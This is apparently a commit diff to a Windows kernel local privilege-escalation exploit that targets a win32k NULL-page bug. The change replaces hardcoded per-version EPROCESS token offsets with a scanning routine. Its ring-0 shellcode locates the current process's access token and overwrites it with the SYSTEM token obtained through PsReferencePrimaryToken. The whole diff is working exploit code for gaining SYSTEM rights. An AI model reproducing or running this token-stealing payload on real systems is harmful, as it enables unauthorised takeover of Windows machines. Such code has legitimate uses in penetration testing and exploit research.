@@ -38,6 +38,10 @@ typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
38
38
OUT PVOID Process
39
39
);
40
40
41
+ typedef NTSTATUS (NTAPI * lPsReferencePrimaryToken )(
42
+ _Inout_ PVOID Process
43
+ );
44
+
41
45
typedef NTSTATUS (NTAPI * lZwQuerySystemInformation )(
42
46
_In_ DWORD SystemInformationClass ,
43
47
_Inout_ PVOID SystemInformation ,
@@ -70,9 +74,9 @@ BOOL bHookCallbackFlag = FALSE;
70
74
71
75
WNDPROC lpPrevWndFunc ;
72
76
DWORD dwMyProcessId = 0 ;
73
- DWORD dwOffsetWindows = 0 ;
74
77
75
78
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL ;
79
+ lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL ;
76
80
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL ;
77
81
78
82
#ifdef DEBUGGING
@@ -131,16 +135,53 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
131
135
#endif
132
136
}
133
137
134
- int _stdcall shellcode_ring0 (int one , int two , int three , int four )
138
+
139
+ // Search the specified data structure for a member with CurrentValue.
140
+ BOOL FindAndReplaceMember (PDWORD Structure ,
141
+ DWORD CurrentValue ,
142
+ DWORD NewValue ,
143
+ DWORD MaxSize )
135
144
{
136
- void * my_process_info = NULL ;
137
- void * system_info = NULL ;
145
+ DWORD i , Mask ;
138
146
139
- pPsLookupProcessByProcessId ((HANDLE )dwMyProcessId , & my_process_info );
140
- pPsLookupProcessByProcessId ((HANDLE )4 , & system_info );
147
+ // Microsoft QWORD aligns object pointers, then uses the lower three
148
+ // bits for quick reference counting.
149
+ Mask = ~7 ;
141
150
142
- * (PDWORD )((PBYTE )my_process_info + dwOffsetWindows ) = * (PDWORD )((PBYTE )system_info + dwOffsetWindows );
151
+ // Mask out the reference count.
152
+ CurrentValue &= Mask ;
143
153
154
+ // Scan the structure for any occurrence of CurrentValue.
155
+ for (i = 0 ; i < MaxSize ; i ++ ) {
156
+ if ((Structure [i ] & Mask ) == CurrentValue ) {
157
+ // And finally, replace it with NewValue.
158
+ Structure [i ] = NewValue ;
159
+ return TRUE;
160
+ }
161
+ }
162
+
163
+ // Member not found.
164
+ return FALSE;
165
+ }
166
+
167
+ int _stdcall shellcode_ring0 (int one , int two , int three , int four )
168
+ {
169
+ void * pMyProcessInfo = NULL ;
170
+ void * pSystemInfo = NULL ;
171
+ PACCESS_TOKEN SystemToken ;
172
+ PACCESS_TOKEN TargetToken ;
173
+
174
+ pPsLookupProcessByProcessId ((HANDLE )dwMyProcessId , & pMyProcessInfo );
175
+ pPsLookupProcessByProcessId ((HANDLE )4 , & pSystemInfo );
176
+
177
+ TargetToken = (PACCESS_TOKEN )pPsReferencePrimaryToken (pMyProcessInfo );
178
+ SystemToken = (PACCESS_TOKEN )pPsReferencePrimaryToken (pSystemInfo );
179
+
180
+ // Find the token in the target process, and replace with the system token.
181
+ FindAndReplaceMember ((PDWORD )pMyProcessInfo ,
182
+ (DWORD )TargetToken ,
183
+ (DWORD )SystemToken ,
184
+ 0x200 );
144
185
return 0 ;
145
186
}
146
187
@@ -169,61 +210,6 @@ void win32k_null_page(LPVOID lpPayload)
169
210
return ;
170
211
}
171
212
172
- #ifdef _M_X64
173
- if (versionInfo .dwMajorVersion == 6 && versionInfo .dwMinorVersion && versionInfo .dwMinorVersion == 1 )
174
- {
175
- // Ex: Windows 7 SP1
176
- dprintf ("[*] Windows 6.1 found..." );
177
- dwOffsetWindows = 0x208 ;
178
- }
179
- #else
180
- if (versionInfo .dwMajorVersion == 6 )
181
- {
182
- if (versionInfo .dwMinorVersion && versionInfo .dwMinorVersion == 1 )
183
- {
184
- // Ex: Windows 7 SP1
185
- dprintf ("[*] Windows 6.1 found..." );
186
- dwOffsetWindows = 0xf8 ;
187
- }
188
- else if (!versionInfo .dwMinorVersion )
189
- {
190
- // Ex: Windows 2008 R2
191
- dprintf ("[*] Windows 6.0 found..." );
192
- dwOffsetWindows = 0xe0 ;
193
- }
194
- else
195
- {
196
- dprintf ("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm" , versionInfo .dwMinorVersion );
197
- return ;
198
- }
199
- }
200
- else if (versionInfo .dwMajorVersion == 5 )
201
- {
202
- if (versionInfo .dwMinorVersion && versionInfo .dwMinorVersion == 1 )
203
- {
204
- // Ex: Windows XP SP3
205
- dprintf ("[*] Windows 5.1 found..." );
206
- dwOffsetWindows = 0xc8 ;
207
- }
208
- else if (versionInfo .dwMinorVersion && versionInfo .dwMinorVersion == 2 )
209
- {
210
- // Ex: Windows 2003 SP2
211
- dprintf ("[*] Windows 5.2 found..." );
212
- dwOffsetWindows = 0xd8 ;
213
- }
214
- else
215
- {
216
- dprintf ("[!] Unsupported Windows 5 found, only 5.1 and 5.2 supported atm" );
217
- return ;
218
- }
219
- }
220
- #endif
221
- else
222
- {
223
- dprintf ("[!] Major Version %d found, not supported" , versionInfo .dwMajorVersion );
224
- return ;
225
- }
226
-
227
213
// Solve symbols
228
214
dprintf ("[*] Solving symbols..." );
229
215
@@ -321,6 +307,18 @@ void win32k_null_page(LPVOID lpPayload)
321
307
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId )((DWORD_PTR )pNtBase + ((DWORD_PTR )pPsLookupProcessByProcessId - (DWORD_PTR )hNtKrnl ));
322
308
dprintf ("[*] pPsLookupProcessByProcessId in kernel: 0x%p" , pPsLookupProcessByProcessId );
323
309
310
+
311
+ pPsReferencePrimaryToken = (lPsReferencePrimaryToken )GetProcAddress (hNtKrnl , "PsReferencePrimaryToken" );
312
+
313
+ if (pPsReferencePrimaryToken == NULL )
314
+ {
315
+ dprintf ("[!] Failed to solve PsLookupProcessByProcessId" );
316
+ return ;
317
+ }
318
+
319
+ pPsReferencePrimaryToken = (lPsReferencePrimaryToken )((DWORD_PTR )pNtBase + ((DWORD_PTR )pPsReferencePrimaryToken - (DWORD_PTR )hNtKrnl ));
320
+ dprintf ("[*] pPsReferencePrimaryToken in kernel: 0x%p" , pPsReferencePrimaryToken );
321
+
324
322
dwMyProcessId = GetCurrentProcessId ();
325
323
326
324
// Register Class
0 commit comments